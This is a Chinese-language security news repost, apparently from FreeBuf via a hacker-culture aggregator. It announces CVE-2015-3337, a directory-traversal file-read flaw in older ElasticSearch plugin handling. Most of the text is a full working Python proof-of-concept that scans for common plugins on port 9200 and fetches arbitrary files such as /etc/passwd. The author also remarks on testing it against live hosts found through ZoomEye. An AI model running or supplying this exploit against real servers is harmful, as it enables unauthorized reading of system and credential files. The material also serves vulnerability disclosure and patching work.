记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

ElasticSearch曝本地任意文件读取漏洞,影响1.4.5和1.5.2之前所有版本(附POC)

2015-05-24 04:40

近期在exploit-db上曝出了ElasticSearch插件功能的目录遍历(Path Transversal)引起的本地任意文件读取漏洞,影响1.4.5和1.5.2之前所有版本。在zoomeye上随便找了几个试了下,发现漏洞的影响面积还挺大的。

漏洞利用(POC)

#!/usr/bin/python
# Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign
# Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5
# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net
# Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/
#
# Source: https://github.com/pandujar/elasticpwn/
 
import socket, sys
 
print "!dSR ElasticPwn - for CVE-2015-3337\n"
if len(sys.argv) <> 3:
        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]
        sys.exit()
 
port = 9200 # Default ES http port
host = sys.argv[1]
fpath = sys.argv[2]
 
def grab(plugin):
        socket.setdefaulttimeout(3)
        s = socket.socket()
        s.connect((host,port))
        s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n"
            "Host: %s\n\n" % (plugin, fpath, host))
        file = s.recv(2048)
        print " [*] Trying to retrieve %s:" % fpath
        if ("HTTP/1.0 200 OK" in file):
            print "\n%s" % file
        else:
            print "[-] File Not Found, No Access Rights or System Not Vulnerable"
 
def pfind(plugin):
    try:
        socket.setdefaulttimeout(3)
        s = socket.socket()
        s.connect((host,port))
        s.send("GET /_plugin/%s/ HTTP/1.0\n"
            "Host: %s\n\n" % (plugin, host))
        file = s.recv(16)
        print "[*] Trying to find plugin %s:" % plugin
        if ("HTTP/1.0 200 OK" in file):
            print "[+] Plugin found!"
            grab(plugin)
            sys.exit()
        else:
            print "[-]  Not Found "
    except Exception, e:
        print "[-] Error connecting to %s: %s" % (host, e)
        sys.exit()
 
# Include more plugin names to check if they are installed
pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head']
 
for plugin in pluginList:
    pfind(plugin)

*消息来源:exploit-db,作者:jack,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

知识来源: www.freebuf.com/vuls/68075.html

阅读:110092 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“ElasticSearch曝本地任意文件读取漏洞,影响1.4.5和1.5.2之前所有版本(附POC)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词